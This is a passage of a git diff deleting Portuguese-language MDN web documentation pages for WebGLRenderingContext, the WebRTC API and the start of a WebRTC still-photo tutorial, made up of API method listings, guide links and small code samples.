EXT_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_color_buffer_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_disjoint_timer_query{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_frag_depth{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_sRGB{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_shader_texture_lod{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
EXT_texture_filter_anisotropic{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_element_index_uint{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_standard_derivatives{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_texture_half_float_linear{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
OES_vertex_array_object{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_color_buffer_float{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_astc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_atc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_etc1{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_pvrtc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_compressed_texture_s3tc_srgb{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_renderer_info{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_debug_shaders{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_depth_texture{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_draw_buffers{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
WEBGL_lose_context{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] Toggling the webgl.enable-draft-extensions preference in about:config is required.

- -

[2] This extension was prefixed with MOZ_ in prior versions.

- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/webglrenderingcontext/index.html b/files/pt-pt/web/api/webglrenderingcontext/index.html deleted file mode 100644 index e1558755ca..0000000000 --- a/files/pt-pt/web/api/webglrenderingcontext/index.html +++ /dev/null @@ -1,444 +0,0 @@ ---- -title: WebGLRenderingContext -slug: Web/API/WebGLRenderingContext -tags: - - WebGL - - WebGLRenderingContext -translation_of: Web/API/WebGLRenderingContext ---- -
{{APIRef("WebGL")}}
- -

A interface de WebGLRenderingContext fornece o contexto de renderização de OpenGL ES 2.0 para a superfície de desenho de um elemento {{HTMLElement("canvas")}} de HTML.

- -

Para obter um objeto desta interface, call {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} num elemento de <canvas>, fornecendo "webgl" como um argumento:

- -
var canvas = document.getElementById('myCanvas');
-var gl = canvas.getContext('webgl');
-
- -

Once you have the WebGL rendering context for a canvas, you can render within it.

- -

The WebGL tutorial has more information, examples, and resources on how to get started with WebGL.

- -

Constantes

- -

See the WebGL constants page.

- -

O contexto de WebGL

- -

The following properties and methods provide general information and functionality to deal with the WebGL context:

- -
-
{{domxref("WebGLRenderingContext.canvas")}}
-
A read-only back-reference to the {{domxref("HTMLCanvasElement")}}. Might be {{jsxref("null")}} if it is not associated with a {{HTMLElement("canvas")}} element.
-
{{domxref("WebGLRenderingContext.commit()")}} {{experimental_inline}}
-
-

Pushes frames back to the original {{domxref("HTMLCanvasElement")}}, if the context is not directly fixed to a specific canvas.

-
-
{{domxref("WebGLRenderingContext.drawingBufferWidth")}}
-
The read-only width of the current drawing buffer. Should match the width of the canvas element associated with this context.
-
{{domxref("WebGLRenderingContext.drawingBufferHeight")}}
-
The read-only height of the current drawing buffer. Should match the height of the canvas element associated with this context.
-
{{domxref("WebGLRenderingContext.getContextAttributes()")}}
-
Returns a WebGLContextAttributes object that contains the actual context parameters. Might return {{jsxref("null")}}, if the context is lost.
-
{{domxref("WebGLRenderingContext.isContextLost()")}}
-
Returns true if the context is lost, otherwise returns false.
-
- -

Visualização e  recorte

- -
-
{{domxref("WebGLRenderingContext.scissor()")}}
-
Defines the scissor box.
-
{{domxref("WebGLRenderingContext.viewport()")}}
-
Sets the viewport.
-
- -

Informação de estado

- -
-
{{domxref("WebGLRenderingContext.activeTexture()")}}
-
Selects the active texture unit.
-
{{domxref("WebGLRenderingContext.blendColor()")}}
-
Sets the source and destination blending factors.
-
{{domxref("WebGLRenderingContext.blendEquation()")}}
-
Sets both the RGB blend equation and alpha blend equation to a single equation.
-
{{domxref("WebGLRenderingContext.blendEquationSeparate()")}}
-
Sets the RGB blend equation and alpha blend equation separately.
-
{{domxref("WebGLRenderingContext.blendFunc()")}}
-
Defines which function is used for blending pixel arithmetic.
-
{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}
-
Defines which function is used for blending pixel arithmetic for RGB and alpha components separately.
-
{{domxref("WebGLRenderingContext.clearColor()")}}
-
Specifies the color values used when clearing color buffers.
-
{{domxref("WebGLRenderingContext.clearDepth()")}}
-
Specifies the depth value used when clearing the depth buffer.
-
{{domxref("WebGLRenderingContext.clearStencil()")}}
-
Specifies the stencil value used when clearing the stencil buffer.
-
{{domxref("WebGLRenderingContext.colorMask()")}}
-
Sets which color components to enable or to disable when drawing or rendering to a {{domxref("WebGLFramebuffer")}}.
-
{{domxref("WebGLRenderingContext.cullFace()")}}
-
Specifies whether or not front- and/or back-facing polygons can be culled.
-
{{domxref("WebGLRenderingContext.depthFunc()")}}
-
Specifies a function that compares incoming pixel depth to the current depth buffer value.
-
{{domxref("WebGLRenderingContext.depthMask()")}}
-
Sets whether writing into the depth buffer is enabled or disabled.
-
{{domxref("WebGLRenderingContext.depthRange()")}}
-
Specifies the depth range mapping from normalized device coordinates to window or viewport coordinates.
-
{{domxref("WebGLRenderingContext.disable()")}}
-
Disables specific WebGL capabilities for this context.
-
{{domxref("WebGLRenderingContext.enable()")}}
-
Enables specific WebGL capabilities for this context.
-
{{domxref("WebGLRenderingContext.frontFace()")}}
-
Specifies whether polygons are front- or back-facing by setting a winding orientation.
-
{{domxref("WebGLRenderingContext.getParameter()")}}
-
Returns a value for the passed parameter name.
-
{{domxref("WebGLRenderingContext.getError()")}}
-
Returns error information.
-
{{domxref("WebGLRenderingContext.hint()")}}
-
Specifies hints for certain behaviors. The interpretation of these hints depend on the implementation.
-
{{domxref("WebGLRenderingContext.isEnabled()")}}
-
Tests whether a specific WebGL capability is enabled or not for this context.
-
{{domxref("WebGLRenderingContext.lineWidth()")}}
-
Sets the line width of rasterized lines.
-
{{domxref("WebGLRenderingContext.pixelStorei()")}}
-
Specifies the pixel storage modes
-
{{domxref("WebGLRenderingContext.polygonOffset()")}}
-
Specifies the scale factors and units to calculate depth values.
-
{{domxref("WebGLRenderingContext.sampleCoverage()")}}
-
Specifies multi-sample coverage parameters for anti-aliasing effects.
-
{{domxref("WebGLRenderingContext.stencilFunc()")}}
-
Sets the both front and back function and reference value for stencil testing.
-
{{domxref("WebGLRenderingContext.stencilFuncSeparate()")}}
-
Sets the front and/or back function and reference value for stencil testing.
-
{{domxref("WebGLRenderingContext.stencilMask()")}}
-
Controls enabling and disabling of both the front and back writing of individual bits in the stencil planes.
-
{{domxref("WebGLRenderingContext.stencilMaskSeparate()")}}
-
Controls enabling and disabling of front and/or back writing of individual bits in the stencil planes.
-
{{domxref("WebGLRenderingContext.stencilOp()")}}
-
Sets both the front and back-facing stencil test actions.
-
{{domxref("WebGLRenderingContext.stencilOpSeparate()")}}
-
Sets the front and/or back-facing stencil test actions.
-
- -

Buffers

- -
-
{{domxref("WebGLRenderingContext.bindBuffer()")}}
-
Binds a WebGLBuffer object to a given target.
-
{{domxref("WebGLRenderingContext.bufferData()")}}
-
Updates buffer data.
-
{{domxref("WebGLRenderingContext.bufferSubData()")}}
-
Updates buffer data starting at a passed offset.
-
{{domxref("WebGLRenderingContext.createBuffer()")}}
-
Creates a WebGLBuffer object.
-
{{domxref("WebGLRenderingContext.deleteBuffer()")}}
-
Deletes a WebGLBuffer object.
-
{{domxref("WebGLRenderingContext.getBufferParameter()")}}
-
Returns information about the buffer.
-
{{domxref("WebGLRenderingContext.isBuffer()")}}
-
Returns a Boolean indicating if the passed buffer is valid.
-
- -

Framebuffers

- -
-
{{domxref("WebGLRenderingContext.bindFramebuffer()")}}
-
Binds a WebGLFrameBuffer object to a given target.
-
{{domxref("WebGLRenderingContext.checkFramebufferStatus()")}}
-
Returns the status of the framebuffer.
-
{{domxref("WebGLRenderingContext.createFramebuffer()")}}
-
Creates a WebGLFrameBuffer object.
-
{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}
-
Deletes a WebGLFrameBuffer object.
-
{{domxref("WebGLRenderingContext.framebufferRenderbuffer()")}}
-
Attaches a WebGLRenderingBuffer object to a WebGLFrameBuffer object.
-
{{domxref("WebGLRenderingContext.framebufferTexture2D()")}}
-
Attaches a textures image to a WebGLFrameBuffer object.
-
{{domxref("WebGLRenderingContext.getFramebufferAttachmentParameter()")}}
-
Returns information about the framebuffer.
-
{{domxref("WebGLRenderingContext.isFramebuffer()")}}
-
Returns a Boolean indicating if the passed WebGLFrameBuffer object is valid.
-
{{domxref("WebGLRenderingContext.readPixels()")}}
-
Reads a block of pixels from the WebGLFrameBuffer.
-
- -

Renderbuffers

- -
-
{{domxref("WebGLRenderingContext.bindRenderbuffer()")}}
-
Binds a WebGLRenderBuffer object to a given target.
-
{{domxref("WebGLRenderingContext.createRenderbuffer()")}}
-
Creates a WebGLRenderBuffer object.
-
{{domxref("WebGLRenderingContext.deleteRenderbuffer()")}}
-
Deletes a WebGLRenderBuffer object.
-
{{domxref("WebGLRenderingContext.getRenderbufferParameter()")}}
-
Returns information about the renderbuffer.
-
{{domxref("WebGLRenderingContext.isRenderbuffer()")}}
-
Returns a Boolean indicating if the passed WebGLRenderingBuffer is valid.
-
{{domxref("WebGLRenderingContext.renderbufferStorage()")}}
-
Creates a renderbuffer data store.
-
- -

Texturas

- -
-
{{domxref("WebGLRenderingContext.bindTexture()")}}
-
Binds a WebGLTexture object to a given target.
-
{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}
-
Specifies a 2D texture image in a compressed format.
-
{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}
-
Specifies a 2D texture sub-image in a compressed format.
-
{{domxref("WebGLRenderingContext.copyTexImage2D()")}}
-
Copies a 2D texture image.
-
{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}
-
Copies a 2D texture sub-image.
-
{{domxref("WebGLRenderingContext.createTexture()")}}
-
Creates a WebGLTexture object.
-
{{domxref("WebGLRenderingContext.deleteTexture()")}}
-
Deletes a WebGLTexture object.
-
{{domxref("WebGLRenderingContext.generateMipmap()")}}
-
Generates a set of mipmaps for a WebGLTexture object.
-
{{domxref("WebGLRenderingContext.getTexParameter()")}}
-
Returns information about the texture.
-
{{domxref("WebGLRenderingContext.isTexture()")}}
-
Returns a Boolean indicating if the passed WebGLTexture is valid.
-
{{domxref("WebGLRenderingContext.texImage2D()")}}
-
Specifies a 2D texture image.
-
{{domxref("WebGLRenderingContext.texSubImage2D()")}}
-
Updates a sub-rectangle of the current WebGLTexture.
-
{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameterf()")}}
-
Sets texture parameters.
-
{{domxref("WebGLRenderingContext.texParameter", "WebGLRenderingContext.texParameteri()")}}
-
Sets texture parameters.
-
- -

Programas e shaders

- -
-
{{domxref("WebGLRenderingContext.attachShader()")}}
-
Attaches a WebGLShader to a WebGLProgram.
-
{{domxref("WebGLRenderingContext.bindAttribLocation()")}}
-
Binds a generic vertex index to a named attribute variable.
-
{{domxref("WebGLRenderingContext.compileShader()")}}
-
Compiles a WebGLShader.
-
{{domxref("WebGLRenderingContext.createProgram()")}}
-
Creates a WebGLProgram.
-
{{domxref("WebGLRenderingContext.createShader()")}}
-
Creates a WebGLShader.
-
{{domxref("WebGLRenderingContext.deleteProgram()")}}
-
Deletes a WebGLProgram.
-
{{domxref("WebGLRenderingContext.deleteShader()")}}
-
Deletes a WebGLShader.
-
{{domxref("WebGLRenderingContext.detachShader()")}}
-
Detaches a WebGLShader.
-
{{domxref("WebGLRenderingContext.getAttachedShaders()")}}
-
Returns a list of WebGLShader objects attached to a WebGLProgram.
-
{{domxref("WebGLRenderingContext.getProgramParameter()")}}
-
Returns information about the program.
-
{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}
-
Returns the information log for a WebGLProgram object.
-
{{domxref("WebGLRenderingContext.getShaderParameter()")}}
-
Returns information about the shader.
-
{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}
-
Returns a WebGLShaderPrecisionFormat object describing the precision for the numeric format of the shader.
-
{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}
-
Returns the information log for a WebGLShader object.
-
{{domxref("WebGLRenderingContext.getShaderSource()")}}
-
Returns the source code of a WebGLShader as a string.
-
{{domxref("WebGLRenderingContext.isProgram()")}}
-
Returns a Boolean indicating if the passed WebGLProgram is valid.
-
{{domxref("WebGLRenderingContext.isShader()")}}
-
Returns a Boolean indicating if the passed WebGLShader is valid.
-
{{domxref("WebGLRenderingContext.linkProgram()")}}
-
Links the passed WebGLProgram object.
-
{{domxref("WebGLRenderingContext.shaderSource()")}}
-
Sets the source code in a WebGLShader.
-
{{domxref("WebGLRenderingContext.useProgram()")}}
-
Uses the specified WebGLProgram as part the current rendering state.
-
{{domxref("WebGLRenderingContext.validateProgram()")}}
-
Validates a WebGLProgram.
-
- -

Uniforms e atributos

- -
-
{{domxref("WebGLRenderingContext.disableVertexAttribArray()")}}
-
Disables a vertex attribute array at a given position.
-
{{domxref("WebGLRenderingContext.enableVertexAttribArray()")}}
-
Enables a vertex attribute array at a given position.
-
{{domxref("WebGLRenderingContext.getActiveAttrib()")}}
-
Returns information about an active attribute variable.
-
{{domxref("WebGLRenderingContext.getActiveUniform()")}}
-
Returns information about an active uniform variable.
-
{{domxref("WebGLRenderingContext.getAttribLocation()")}}
-
Returns the location of an attribute variable.
-
{{domxref("WebGLRenderingContext.getUniform()")}}
-
Returns the value of a uniform variable at a given location.
-
{{domxref("WebGLRenderingContext.getUniformLocation()")}}
-
Returns the location of a uniform variable.
-
{{domxref("WebGLRenderingContext.getVertexAttrib()")}}
-
Returns information about a vertex attribute at a given position.
-
{{domxref("WebGLRenderingContext.getVertexAttribOffset()")}}
-
Returns the address of a given vertex attribute.
-
{{domxref("WebGLRenderingContext.uniform()", "WebGLRenderingContext.uniform[1234][fi][v]()")}}
-
Specifies a value for a uniform variable.
-
{{domxref("WebGLRenderingContext.uniformMatrix()", "WebGLRenderingContext.uniformMatrix[234]fv()")}}
-
Specifies a matrix value for a uniform variable.
-
{{domxref("WebGLRenderingContext.vertexAttrib()", "WebGLRenderingContext.vertexAttrib[1234]f[v]()")}}
-
Specifies a value for a generic vertex attribute.
-
{{domxref("WebGLRenderingContext.vertexAttribPointer()")}}
-
Specifies the data formats and locations of vertex attributes in a vertex attributes array.
-
- -

Drawing buffers

- -
-
{{domxref("WebGLRenderingContext.clear()")}}
-
Clears specified buffers to preset values.
-
{{domxref("WebGLRenderingContext.drawArrays()")}}
-
Renders primitives from array data.
-
{{domxref("WebGLRenderingContext.drawElements()")}}
-
Renders primitives from element array data.
-
{{domxref("WebGLRenderingContext.finish()")}}
-
Blocks execution until all previously called commands are finished.
-
{{domxref("WebGLRenderingContext.flush()")}}
-
Empties different buffer commands, causing all commands to be executed as quickly as possible.
-
- -

Trabalhar com extensões

- -

These methods manage WebGL extensions:

- -
-
{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}
-
Returns an {{jsxref("Array")}} of {{domxref("DOMString")}} elements with all the supported WebGL extensions.
-
{{domxref("WebGLRenderingContext.getExtension()")}}
-
Returns an extension object.
-
- -

Exemplos

- -

WebGL context feature detection

- -

{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "summary")}}

- -

{{page("/en-US/Learn/WebGL/By_example/Detect_WebGL", "detect-webgl-source")}}

- -

{{EmbedLiveSample("detect-webgl-source", 660,150 ,"" , "Learn/WebGL/By_example/Detect_WebGL")}}

- -

Effect of canvas size on rendering with WebGL

- -

{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-intro")}}

- -

{{page("/en-US/Learn/WebGL/By_example/Canvas_size_and_WebGL", "canvas-size-and-webgl-source")}}

- -

{{EmbedLiveSample("canvas-size-and-webgl-source", 660,180 ,"" , "Learn/WebGL/By_example/Canvas_size_and_WebGL")}}

- -

Especificações

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}{{Spec2('WebGL')}}Initial definition
- -

Compatibilidade de navegador

- - - -

{{Compat("api.WebGLRenderingContext")}}

- -

Consulte também

- -
    -
  • {{domxref("HTMLCanvasElement")}}
  • -
- -
- - - - - -
diff --git a/files/pt-pt/web/api/webrtc_api/index.html b/files/pt-pt/web/api/webrtc_api/index.html deleted file mode 100644 index a9bc4acd29..0000000000 --- a/files/pt-pt/web/api/webrtc_api/index.html +++ /dev/null @@ -1,288 +0,0 @@ ---- -title: API de WebRTC -slug: Web/API/WebRTC_API -tags: - - API - - API de WebRTC - - API de WebRTCÁudio - - Multimedia - - Rede - - Video - - WebRTC - - emissão - - transmissão -translation_of: Web/API/WebRTC_API -original_slug: Web/API/API_WebRTC ---- -
{{APIRef("WebRTC")}}
- -

WebRTC (Comunicações da Web em Tempo Real) é uma tecnologia que permite às aplicações e sites da Web capturar e opcionalmente transmitir multimédia de áudio e/ou vídeo, bem como trocar dados arbitrariamente entre navegadores sem a necessidade de um intermediário. O conjunto de normas que compreende WebRTC torna possível a partilha de dados e realizar teleconferência peer-to-peer, sem precisar que o utilizador instale plug-ins ou qualquer outro software de terceiros.

- -

WebRTC consiste em diversos protocolos e APIs inter-relacionadas que trabalham em conjunto para obter isto. A documentação que irá encontrar aqui irá ajudá-lo a compreender o essencial de WebRTC, como configurar e utilizar ligações de dados e multimédia, e muito mais.

- -

Conceitos e utilização de WebRTC

- -

O WebRTC atende múltiplos propósitos e se destaca consideravelmente com Media Capture e Streams API. Juntos, eles fornecem recursos multimídia poderosos para a Web, incluindo suporte para conferências de áudio e vídeo, troca de arquivos, gerenciamento de identidade e interface com sistemas telefônicos legados, enviando sinais  {{Glossary("DTMF")}} . As conexões entre pares podem ser feitas sem exigir drivers especiais ou plug-ins, e muitas vezes podem ser feitas sem nenhum servidor intermediário.

- -

As conexões entre dois pares são criadas usando - e representadas pela interface - {{domxref("RTCPeerConnection")}} . Uma vez que uma conexão foi estabelecida e aberta, os fluxos de mídia ({{domxref("MediaStream")}}s) e / ou canais de dados ({{domxref("RTCDataChannel")}}s) podem ser adicionados à conexão.

- -

Os fluxos de mídia podem ser constituídos de qualquer número de faixas de informações de mídia; As faixas, que são representadas por objetos com base na interface {{domxref("MediaStreamTrack")}} , podem conter um dos vários tipos de dados de mídia, incluindo áudio, vídeo e texto (como legendas ou nomes de capítulos) . A maioria dos fluxos consistem em pelo menos uma faixa de áudio e provavelmente também uma faixa de vídeo, e pode ser usados para enviar e receber mídia ao vivo ou informações de mídia armazenada (como um filme transmitido).

- -

Você também pode usar a conexão entre dois pares para trocar dados binários arbitrários usando a interface {{domxref("RTCDataChannel")}} . Isso pode ser usado para informações back-channel, troca de metadados, pacotes com status de jogos, transferências de arquivos ou mesmo como um canal primário para transferência de dados.

- -

Mais detalhes e links para guias relevantes e tutoriais necessários

- -

Interfaces de WebRTC

- -

Como a WebRTC fornece interfaces que trabalham juntas para realizar uma variedade de tarefas, dividimos as interfaces na lista abaixo por categoria. Veja a barra lateral para uma lista alfabética.

- -

Gestão e configuração de ligação

- -

Essas interfaces são usadas para configurar, abrir e gerenciar conexões WebRTC.

- -
-
{{domxref("RTCPeerConnection")}}
-
Representa uma conexão WebRTC entre o computador local e um ponto remoto. Ele é usado para lidar com transmissão eficiente de dados entre os dois pares.
-
{{domxref("RTCDataChannel")}}
-
Representa um canal de dados bidirecional entre dois pares de uma conexão.
-
{{domxref("RTCDataChannelEvent")}}
-
Representa eventos que ocorrem ao anexar um {{domxref("RTCDataChannel")}} a um {{domxref("RTCPeerConnection")}} . O único evento enviado com esta interface é {{event("datachannel")}} .
-
{{domxref("RTCSessionDescription")}}
-
Representa os parâmetros de uma sessão. Cada RTCSessionDescription consiste em um tipo de descrição que indica qual parte do processo de negociação de oferta(offer) / resposta(answer) isso descreve e do SDP descritor da sessão.
-
{{domxref("RTCStatsReport")}}
-
Fornece informações detalhando estatísticas para uma conexão ou para uma faixa individual na conexão; O relatório pode ser obtido chamando {{domxref("RTCPeerConnection.getStats()")}} .
-
{{domxref("RTCIceCandidate")}}
-
Representa um servidor candidato que estabelece a conectividade de internet (ICE -internet connectivity establishment) para estabelecer um {{domxref("RTCPeerConnection")}} .
-
{{domxref("RTCIceTransport")}}
-
Representa informações sobre o transporte referentes ao estabelecimento de conectividade de internet (ICE - internet connectivity establishment).
-
{{domxref("RTCPeerConnectionIceEvent")}}
-
Representa eventos que ocorrem em relação aos candidatos ICE com o destino, geralmente um {{domxref("RTCPeerConnection")}} . Apenas um evento é deste tipo: {{event("icecandidate")}} .
-
{{domxref("RTCRtpSender")}}
-
Gerencia a codificação e a transmissão de dados para um {{domxref("MediaStreamTrack")}} em {{domxref("RTCPeerConnection")}}.
-
{{domxref("RTCRtpReceiver")}}
-
Gerencia a recepção e decodificação de dados para um {{domxref("MediaStreamTrack")}} em um {{domxref("RTCPeerConnection")}}.
-
{{domxref("RTCTrackEvent")}}
-
Indica que uma nova entrada {{domxref("MediaStreamTrack")}} foi criada e um objeto associado {{domxref("RTCRtpReceiver")}} foi adicionado ao objeto {{domxref("RTCPeerConnection")}} .
-
- -

Identidade e segurança

- -

A API WebRTC inclui uma série de interfaces para gerenciar segurança e identidade.

- -
-
{{domxref("RTCIdentityProvider")}}
-
Permite que um agente do usuário possa solicitar que uma confirmação de identidade seja gerada ou validada.
-
{{domxref("RTCIdentityAssertion")}}
-
Representa a identidade de um ponto remoto da conexão atual. Caso nenhum par (peer) seja configurado e verificado, esta interface retorna null. Uma vez configurado, este não poderá ser alterado.
-
{{domxref("RTCIdentityProviderRegistrar")}}
-
Registra um provedor de identidade (idP).
-
{{domxref("RTCIdentityEvent")}}
-
Representa uma confirmação de identidade gerada por um provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}}. O único evento enviado com este tipo é {{event("identityresult")}}.
-
{{domxref("RTCIdentityErrorEvent")}}
-
Representa um erro associado ao provedor de identidade (idP). Isso geralmente é para um {{domxref("RTCPeerConnection")}} . Dois eventos são enviados com este tipo: {{event("idpassertionerror")}} e {{event("idpvalidationerror")}} .
-
{{domxref("RTCCertificate")}}
-
Representa um certificado que um {{domxref("RTCPeerConnection")}} usa para autenticar.
-
- -

Telefonia

- -

Essas interfaces estão relacionadas à interatividade com redes telefônicas de comutação pública (PTSNs).

- -
-
{{domxref("RTCDTMFSender")}}
-
Gerencia a codificação e a transmissão da sinalização multi-frequência de dois tons (DTMF) para um {{domxref("RTCPeerConnection")}}.
-
{{domxref("RTCDTMFToneChangeEvent")}}
-
Indica uma ocorrência de uma multi-frequência de dois tons (DTMF). Este evento não faz bolha (bubble) (exceto quando indicado de outra forma) e não é cancelável (exceto quando indicado de outra forma).
-
- -

Outros

- -
-
{{domxref("RTCIceServer")}}
-
Define como ligar a um único servidor de ICE (tais como um servidor STUN ou TURN).
-
- -

 

- -

Guias

- -
-
Introduction to WebRTC protocols
-
This article introduces the protocols on top of which the WebRTC API is built.
-
WebRTC connectivity
-
A guide to how WebRTC connections work and how the various protocols and interfaces can be used together to build powerful communication apps.
-
Lifetime of a WebRTC session
-
WebRTC lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application. In this article, we'll look at the lifetime of a WebRTC session, from establishing the connection all the way through closing the connection when it's no longer needed.
-
Signaling and two-way video calling
-
A tutorial and example which turbs a WebSocket-based chat system created for a previous example and adds support for opening video calls among participants. The chat server's WebSocket connection is used for WebRTC signaling.
-
Using WebRTC data channels
-
This guide covers how you can use a peer connection and an associated {{domxref("RTCDataChannel")}} to exchange arbitrary data between two peers.
-
Using DTMF with WebRTC
-
WebRTC's support for interacting with gateways that link to old-school telephone systems includes support for sending DTMF tones using the {{domxref("RTCDTMFSender")}} interface. This guide shows how to do so.
-
- -

Tutoriais

- -
-
Improving compatibility using WebRTC adapter.js
-
The WebRTC organization provides on GitHub the WebRTC adapter to work around compatibility issues in different browsers' WebRTC implementations. The adapter is a JavaScript shim which lets your code to be written to the specification so that it will "just work" in all browsers with WebRTC support.
-
Taking still photos with WebRTC
-
This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it.
-
A simple RTCDataChannel sample
-
The {{domxref("RTCDataChannel")}} interface is a feature which lets you open a channel between two peers over which you may send and receive arbitrary data. The API is intentionally similar to the WebSocket API, so that the same programming model can be used for each.
-
- -

Recursos

- -

Protocolos

- -

WebRTC-proper protocols

- - - - - - - -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebRTC 1.0')}}{{Spec2('WebRTC 1.0')}}A definição inicial da API do WebRTC.
{{SpecName('Media Capture')}}{{Spec2('Media Capture')}}A definição inicial do objeto que transmite o fluxo de conteúdo de mídia.
{{SpecName('Media Capture DOM Elements')}}{{Spec2('Media Capture DOM Elements')}}A definição inicial sobre como obter fluxo de conteúdo de Elementos DOM
- -

Em adição a estas especificações que definem a API necessária para usar o WebRTC, existem vários protocolos, listados em recursos.

- - - - - -
- - - - - -
diff --git a/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html b/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html deleted file mode 100644 index 6ee8a1f0e8..0000000000 --- a/files/pt-pt/web/api/webrtc_api/taking_still_photos/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: Tirar fotografias com a câmara da Web -slug: Web/API/WebRTC_API/Taking_still_photos -tags: - - API - - Avançado - - Código amostra - - Exemplo - - Vídeo(2) - - WebRTC - - cãmara da Web -translation_of: Web/API/WebRTC_API/Taking_still_photos -original_slug: Web/API/API_WebRTC/Tirar_fotografias ---- -

{{WebRTCSidebar}}

- -

This article shows how to use WebRTC to access the camera on a computer or mobile phone with WebRTC support and take a photo with it. Try this sample then read on to learn how it works.

- -

You can also jump straight to the code on Github if you like.

- -

The HTML markup

- -

Our HTML interface has two main operational sections: the stream and capture panel and the presentation panel. Each of these is presented side-by-side in its own {{HTMLElement("div")}} to facilitate styling and control.

- -

The first panel on the left contains two components: a {{HTMLElement("video")}} element, which will receive the stream from WebRTC, and a {{HTMLElement("button")}} the user clicks to capture a video frame.

- -
  <div class="camera">
-    <video id="video">Video stream not available.</video>
-    <button id="startbutton">Take photo</button>
-  </div>
- -

This is straightforward, and we'll see how it ties together when we get into the JavaScript code.

- -

